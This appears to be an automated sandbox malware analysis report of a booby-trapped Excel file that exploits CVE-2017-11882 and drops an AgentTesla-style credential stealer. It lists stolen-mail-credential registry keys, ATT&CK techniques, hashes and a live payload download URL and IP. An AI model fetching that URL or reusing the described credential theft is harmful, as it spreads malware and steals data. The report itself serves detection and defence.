Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: ghxtg8op.exe	Binary or memory string: WIN_81
Source: ghxtg8op.exe	Binary or memory string: WIN_XP
Source: ghxtg8op.exe	Binary or memory string: WIN_XPe
Source: ghxtg8op.exe	Binary or memory string: WIN_VISTA
Source: ghxtg8op.exe	Binary or memory string: WIN_7
Source: ghxtg8op.exe	Binary or memory string: WIN_8
Source: ngown[1].exe.2.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 0USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Source: Yara match	File source: 5.2.ghxtg8op.exe.d00000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.ghxtg8op.exe.d00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.635366248.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.486416545.0000000000D00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.635675466.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ghxtg8op.exe PID: 3752, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 3788, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 5.2.ghxtg8op.exe.d00000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.ghxtg8op.exe.d00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.635366248.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.486416545.0000000000D00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ghxtg8op.exe PID: 3752, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 3788, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00DB6283 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		5_2_00DB6283
Source: C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	Code function: 5_2_00DB6747 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		5_2_00DB6747

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	2 Valid Accounts	121 Windows Management Instrumentation	1 Scripting	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	13 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	121 Input Capture	1 Account Discovery	Remote Desktop Protocol	2 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	33 Exploitation for Client Execution	2 Valid Accounts	2 Valid Accounts	2 Obfuscated Files or Information	1 Credentials in Registry	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	138 System Information Discovery	Distributed Component Object Model	121 Input Capture	22 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	212 Process Injection	1 Masquerading	LSA Secrets	341 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Valid Accounts	Cached Domain Credentials	12 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Virtualization/Sandbox Evasion	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	212 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Nova naredba_HR-WJO-12-10-2024.xlam.xlsx	66%	ReversingLabs	Document-Office.Exploit.CVE-2017-11882
Nova naredba_HR-WJO-12-10-2024.xlam.xlsx	100%	Avira	EXP/CVE-2017-11882.Gen

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\ghxtg8op.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\ngown[1].exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://aquafusion.com.co/ngbx/ngown.exeG	0%	Avira URL Cloud	safe
http://aquafusion.com.co/ngbx/ngown.exejjC:	0%	Avira URL Cloud	safe
http://aquafusion.com.co/ngbx/ngown.exej	0%	Avira URL Cloud	safe
http://aquafusion.com.co/ngbx/ngown.exe	100%	Avira URL Cloud	malware
http://aquafusion.com.co/ngbx/ngown.exeroC:	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
aquafusion.com.co	190.90.160.170	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://aquafusion.com.co/ngbx/ngown.exe	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://aquafusion.com.co/ngbx/ngown.exeG	EQNEDT32.EXE, 00000002.00000003.482907203.000000000091F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://aquafusion.com.co/ngbx/ngown.exejjC:	EQNEDT32.EXE, 00000002.00000002.486608016.00000000008DF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.dyn.com/	ghxtg8op.exe, 00000005.00000002.486416545.0000000000D00000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.635366248.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false		high
http://aquafusion.com.co/ngbx/ngown.exej	EQNEDT32.EXE, 00000002.00000002.486831561.0000000003560000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://aquafusion.com.co/ngbx/ngown.exeroC:	EQNEDT32.EXE, 00000002.00000003.482907203.000000000092E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
190.90.160.170	aquafusion.com.co	Colombia		26619	GTDCOLOMBIASASCO	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1572388
Start date and time:	2024-12-10 14:19:00 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Nova naredba_HR-WJO-12-10-2024.xlam.xlsx
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winXLSX@6/8@1/1
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 97% Number of executed functions: 65 Number of non-executed functions: 271
Cookbook Comments:	Found application associated with file extension: .xlsx Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe
Execution Graph export aborted for target RegSvcs.exe, PID 3788 because it is empty
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Nova naredba_HR-WJO-12-10-2024.xlam.xlsx

Simulations

Behavior and APIs

Time	Type	Description
08:20:48	API Interceptor	173x Sleep call for process: EQNEDT32.EXE modified
08:20:55	API Interceptor	234x Sleep call for process: RegSvcs.exe modified

LLM Input / Output

Input	Output
URL: Screenshot id: 5 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 2 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 6 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 3 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 1 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 4 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 5 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: Screenshot id: 2 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: Screenshot id: 1 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: Screenshot id: 3 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: Screenshot id: 6 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: Screenshot id: 4 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
190.90.160.170	mfyPnr7Rxa.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, SmokeLoader, Stealc	Browse
190.90.160.170	RFQ PO9845.xlsx	Get hash	malicious	Unknown	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GTDCOLOMBIASASCO	HUWwCrf0mn.elf	Get hash	malicious	Mirai, Okiru	Browse	179.50.127.137
	b2bXo6vmDm.exe	Get hash	malicious	SystemBC	Browse	190.90.160.165
	file.exe	Get hash	malicious	SystemBC	Browse	190.90.160.165
	td2RgV6HyP.exe	Get hash	malicious	SystemBC	Browse	190.90.160.165
	mfyPnr7Rxa.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, SmokeLoader, Stealc	Browse	190.90.160.170
	6vTIdx359L.elf	Get hash	malicious	Mirai	Browse	190.90.25.189
	RFQ PO9845.xlsx	Get hash	malicious	Unknown	Browse	190.90.160.170
	HxZECaqzaM.elf	Get hash	malicious	Mirai	Browse	179.50.6.161
	RE8pE88rcb.elf	Get hash	malicious	Unknown	Browse	179.50.102.209
	FtV0FviMeR.elf	Get hash	malicious	Mirai	Browse	190.90.162.1

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1051136
Entropy (8bit):	6.991830283498565
Encrypted:	false
SSDEEP:	24576:Tu6J33O0c+JY5UZ+XC0kGso6FaYLum4X1nJ6f7WY:9u0c++OCvkGs9FaYLume1nJ6SY
MD5:	EF05B0557B2C8F0C951A1B21B812E75F
SHA1:	11AAE265CC3F60806198436AC9571EEE720B908E
SHA-256:	4BEC652194B91669F99A72CDC4DBD2DC25138E6DCD64E62248B5F69AA3539471
SHA-512:	A2F6F831F43E277A19B49875C451F757A8B7E93C099260F8D4708B670AB81F690C9EBF68762FDF41C7F46D8F611791554B3175C0D2B7FE94C2EAA686B1060FC3
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6...r}.r}.r}.4,".p}.....s}../..A}../#..}../".G}.{.@.{}.{.P.W}.r}.R....)."}.....s}../..s}.r}T.s}.....s}.Richr}.................PE..L.....Wg.........."..........(.......}............@......................................@...@.......@.....................L...\|....p...........................q...+..............................pH..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc........p......................@..@.reloc...q.......r..................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\autDD7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\ghxtg8op.exe
File Type:	data
Category:	dropped
Size (bytes):	143138
Entropy (8bit):	7.930415233954861
Encrypted:	false
SSDEEP:	3072:DzMtZ/oXgItrhkgxKHusdWsSDsQ2Zu5Odh2zTXrS0nPO4:DzMtZagyr6gxK9FSDsQ2wOdh2zT20V
MD5:	051F32A5901FDF7C15EA93E86BBF3A0F
SHA1:	B3D79BE4870E5FF8F11246BEE989AB950CC3FC73
SHA-256:	045BA7B6656DE852E5F1F2F23598A5C936E059277382B1751E52A0D41BD80F53
SHA-512:	9785B515803D739651B2255791AB70D3D74A4965FB0ECE28FC6A4D3FA807B6B1FCEB21FD62663AC7EB649D2FC02B8398932823BEA156C5F02C69D2B8911E8229
Malicious:	false
Reputation:	low
Preview:	EA06.....Z....J.QT...a7.L..I........z`.ni...N..4..1S.f.y......?X.O.TY...6..,...fE]....{$.q+..k6..!j....].{=..'f;.../t..cg.H@....&t....K.M).).../.I....4>Tp.r.0....JD.V.4...ss:d.n...=..L..:T..i..&...\P.4;..S......@.]( ._6.c5...}...e.eD...v.r..``........i..h.P.s.1....d.Sd.Z..}Q...',X.!4..2.p._.$."G....jAJ.R..............\.~8.....N3.......)....oO.')s%P.............a...7.b.J...........\N...I7z.....n.....m...4..K...p7_....=.L.zn.W..U..9.3E..e.:..q..B,S.?.K..)X.>n.q..(Wl.....<.n..K.D....G..K$..,.{).G...Rc#......[..d}.n..I=.Z.T...X.D.=.V..%.Y3.=/.t..K.0....S.. @....@..n.0.....A@[1K..u...rR.h[...`.....h\..b.?..Dk.....tyn.W.s..1W...ei..........Z.Q.T.W......}..Vo:.._T.B.sy.m0..f.z....s..9...7.Ui4j<6s..s2.......s}zY.G....:2...sf.>P...........4.t...."....)[ ..!%..d.x..K..M..=..l.Xb..A"...b.H...Zh.k,...3%b..Z.....Z.Q.(...2.Mht....M.M.`.D..H.BT.\|.....b.G..4..at.<&...B.,..& u...I...)...x.A.Z.BoL..c..e....XoQ...kI.3*...w.6.s&...j"..Z..zt..U.L.Z.e..

C:\Users\user\AppData\Local\Temp\autE07.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\ghxtg8op.exe
File Type:	data
Category:	dropped
Size (bytes):	14568
Entropy (8bit):	7.633331238706717
Encrypted:	false
SSDEEP:	384:ITYznwMNeAOPPYLDfvWME/eTk5mUOY49D1nSH6RZ5DPsi6t:IAwJV8DfvWkOL4bSHsZ5rq
MD5:	0B168D705ACB9CD0F87A19AA68B58ECF
SHA1:	712895BE031EE9820A2E9BA626B70C2C97565D98
SHA-256:	8D5450118D094BD586A153AB0E6DF9A14FB304C266623614FFA54A22C774E3AA
SHA-512:	201E399EAA1E364526CEF3C38905EA4EB46635A806BBB95D03EEB2B2DBFF71EEEAAE68CD0EAB7466FAC9E1A7616C629EF14E92BC7B66BA1842BE9C87B3D0EB49
Malicious:	false
Reputation:	low
Preview:	EA06..0..[.....+x..f....... .V......71...@.x..L........`......8............`.......Z\|3@...@.........K.X@0.2.Z..Z>)..w.e....l !..m..;...\| !.....;....;.....l.;.0./.<.;...m..rd.....@->.....4....f.C.5..;.............r.....X.<>`.O..p.........!.........h.=..........<\|3.....c...h.. -...... ...X.Z?......(...(.G..4.h....x....M@N.......Z?.I.......N@R... ...5.(..,.._...k`........R...._.K..?d...B.... 7W.......n.../.~.....)...@...!K....h\|!._....ga._.5.1.....`v/.......NA...,...7.7.,..!6.b...Z?.K(-...0.h..&.._....' -.............-..........G.6.....d_.T......"....d_.(M..57....n.....`...L....K.L..6.s.A.?..L.......Bg>...w.36.... !...L...}....\|V.4..r......$............r..9....>.....2... ...b....`......k.(.....!`....,......V1`..f....X.>i.v'.3c.........G.4....E.?......9..X.......7...l.`..."...\.61*........f.....\|.`.O.......,`........nl,....C.`....p...Y......`....@n?..;g....0...d...l ...P.?'....}...........0...4.X...>y.....1......x...L.\.i.....)...@n?............b...@.>y...

C:\Users\user\AppData\Local\Temp\cerecloths

Download File

Process:	C:\Users\user\AppData\Local\Temp\ghxtg8op.exe
File Type:	data
Category:	dropped
Size (bytes):	240128
Entropy (8bit):	6.565914891381696
Encrypted:	false
SSDEEP:	6144:t78NtQ7umAd/qScP4S58xMk0T9an6gDTw:hstL3BI4Kk0T86sw
MD5:	F5F22C9B86F5265099E677983B730EEA
SHA1:	307810F6EC3796AF29924AAA7D2E28B8A600B386
SHA-256:	95BE62558001287F393C2B33D1A48D894A3399D5E65A4A2664780C975E7DCFF8
SHA-512:	CA841BC2593C0EBE4ACE6CFB190031761793688CD3CBD342CB78D397D39B8FF0F03895425A2E12CCAD4C47ACC94E10CA0CBD075EE228CECE6F1A9F6C51D656D9
Malicious:	false
Reputation:	low
Preview:	.j.L15CJ6DRM..07.25CJ2DR.EK07L25CJ2DRMEK07L25CJ2DRMEK07L25CJ.DRMKT.9L.<.k.E..d.X^?.E1%U63 e(QY"]Ac(Wd 8+kYYlvz.j_+6(kF==h25CJ2DR..K0{M15.g.!RMEK07L2.CH3OSFEK.4L2=CJ2DRM{.37L.5CJ.GRME.07l25CH2DVMEK07L21CJ2DRMEK03L27CJ2DRMGKp.L2%CJ"DRME[07\25CJ2DBMEK07L25CJ2..NE.07L2.@JtARMEK07L25CJ2DRMEK07.15OJ2DRMEK07L25CJ2DRMEK07L25CJ2DRMEK07L25CJ2DRMEK07L25Cj2DZMEK07L25CJ2LrME.07L25CJ2DRMk?UO825C..GRMeK07.15CH2DRMEK07L25CJ2dRM%eBD>Q5CJtARME.37L45CJ.GRMEK07L25CJ2D.ME..E)^Z J2HRMEK.4L27CJ2.QMEK07L25CJ2DR.EKr7L25CJ2DRMEK07L2..I2DRME.07L05FJ..PMQz17O25CK2DTMEK07L25CJ2DRMEK07L25CJ2DRMEK07L25CJ2DRMEK07L25CW......1.?!M.b.*.H._..:.}K.X.0$..ysN.....b>6..2.Lz..D....9.=F33.....WGC;+.Ek],.V.....b>r..K+.J..Kq.\Bv.l.j...~K&....C..V,'.%"=)..d-TT1#.F.LEK07.......$=.j.O=+wXJ.....%4d...:RME/07L@5CJSDRM.K07#25C$2DR3EK0IL25.J2D.MEK.7L2.CJ2)RMEo07LL5CJ.9]B...^?..CJ2DRx....!.....s..}A.2iW{..6...j2..:+.E.....>..Yy.]`/Tn..76J60AM6G^pK....7GN7FUIFG.9...k.b.\|..=....H..MEK07L.5C.2DR..K.7L2.C.2..MEK..L.5.J...M

C:\Users\user\AppData\Local\Temp\ghxtg8op.exe

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1051136
Entropy (8bit):	6.991830283498565
Encrypted:	false
SSDEEP:	24576:Tu6J33O0c+JY5UZ+XC0kGso6FaYLum4X1nJ6f7WY:9u0c++OCvkGs9FaYLume1nJ6SY
MD5:	EF05B0557B2C8F0C951A1B21B812E75F
SHA1:	11AAE265CC3F60806198436AC9571EEE720B908E
SHA-256:	4BEC652194B91669F99A72CDC4DBD2DC25138E6DCD64E62248B5F69AA3539471
SHA-512:	A2F6F831F43E277A19B49875C451F757A8B7E93C099260F8D4708B670AB81F690C9EBF68762FDF41C7F46D8F611791554B3175C0D2B7FE94C2EAA686B1060FC3
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6...r}.r}.r}.4,".p}.....s}../..A}../#..}../".G}.{.@.{}.{.P.W}.r}.R....)."}.....s}../..s}.r}T.s}.....s}.Richr}.................PE..L.....Wg.........."..........(.......}............@......................................@...@.......@.....................L...\|....p...........................q...+..............................pH..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc........p......................@..@.reloc...q.......r..................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\oxmanship

Download File

Process:	C:\Users\user\AppData\Local\Temp\ghxtg8op.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	143378
Entropy (8bit):	2.992214787701521
Encrypted:	false
SSDEEP:	96:AIXLr4j+F05BmsDo6Mi0Fl7dSA6suHCCGcuY9Ihyvuu3srWVjjGqnBaAJZdjureP:H30jU7qnGcuY9Ihyvuu3srWVeqnBaA
MD5:	030C49A335A83FF97BCCA1A235B52F7A
SHA1:	B2678A23F36BD3393EF5D9C90D4CAAF9A53C891E
SHA-256:	CFAA9115C0D2FA15BF241234EC585B7012D2ADC7901A09516B804522B0A034AA
SHA-512:	3F86EA7108B7E13AC16689B20F102748280473D580FD700FB1B5C342A8C6B6290C62B945B337C35C17AE621512223EA5D991D2ED1C140967DB4406CC6EFD724E
Malicious:	false
Reputation:	low
Preview:	dowp0dowpxdowp5dowp5dowp8dowpbdowpedowpcdowp8dowp1dowpedowpcdowpcdowpcdowp0dowp2dowp0dowp0dowp0dowp0dowp5dowp6dowp5dowp7dowpbdowp8dowp6dowpbdowp0dowp0dowp0dowp0dowp0dowp0dowp6dowp6dowp8dowp9dowp4dowp5dowp8dowp4dowpbdowp9dowp6dowp5dowp0dowp0dowp0dowp0dowp0dowp0dowp6dowp6dowp8dowp9dowp4dowpddowp8dowp6dowpbdowpadowp7dowp2dowp0dowp0dowp0dowp0dowp0dowp0dowp6dowp6dowp8dowp9dowp5dowp5dowp8dowp8dowpbdowp8dowp6dowpedowp0dowp0dowp0dowp0dowp0dowp0dowp6dowp6dowp8dowp9dowp4dowp5dowp8dowpadowpbdowp9dowp6dowp5dowp0dowp0dowp0dowp0dowp0dowp0dowp6dowp6dowp8dowp9dowp4dowpddowp8dowpcdowpbdowpadowp6dowpcdowp0dowp0dowp0dowp0dowp0dowp0dowp6dowp6dowp8dowp9dowp5dowp5dowp8dowpedowpbdowp8dowp3dowp3dowp0dowp0dowp0dowp0dowp0dowp0dowp6dowp6dowp8dowp9dowp4dowp5dowp9dowp0dowpbdowp9dowp3dowp2dowp0dowp0dowp0dowp0dowp0dowp0dowp6dowp6dowp8dowp9dowp4dowpddowp9dowp2dowpbdowpadowp2dowpedowp0dowp0dowp0dowp0dowp0dowp0dowp6dowp6dowp8dowp9dowp5dowp5dowp9dowp4dowpbdowp8dowp6dowp4dowp0dowp0dowp0dowp0dowp0dowp0dowp6dowp6dowp8dowp9

C:\Users\user\Desktop\~$Nova naredba_HR-WJO-12-10-2024.xlam.xls

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fV:vBFFGS
MD5:	797869BB881CFBCDAC2064F92B26E46F
SHA1:	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
SHA-256:	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
SHA-512:	1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
Malicious:	false
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\Desktop\~$Nova naredba_HR-WJO-12-10-2024.xlam.xlsx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fV:vBFFGS
MD5:	797869BB881CFBCDAC2064F92B26E46F
SHA1:	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
SHA-256:	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
SHA-512:	1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
Malicious:	true
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Static File Info

General

File type:	Microsoft Excel 2007+
Entropy (8bit):	7.998191833534959
TrID:	Excel Microsoft Office Open XML Format document (35004/1) 81.40% ZIP compressed archive (8000/1) 18.60%
File name:	Nova naredba_HR-WJO-12-10-2024.xlam.xlsx
File size:	687'458 bytes
MD5:	80422f16531f8c43944e04bf3538efdf
SHA1:	f137aa50426c79fa8645d6bfc2610a98cf2c4fa3
SHA256:	971e2daca5513d707e83bc64690d35a29a7c27d02fa0f1dce8b6694e79b9a65c
SHA512:	dec49d2e88d90d2718b8f628e9eec88561e3ca9d0520672dcba49e2cfc4ef78ee44919fb7d445578a50b6eb347176b13f378de88d46fe15714e8e723c6ccc51a
SSDEEP:	12288:tOnI4PKOkIHM9vnRlZChi+phVy3PXkPwS9OX3sK6w14sy2rmU9yDQY:RUHs95lZr+p7y/XtEOHsQ14zuWJ
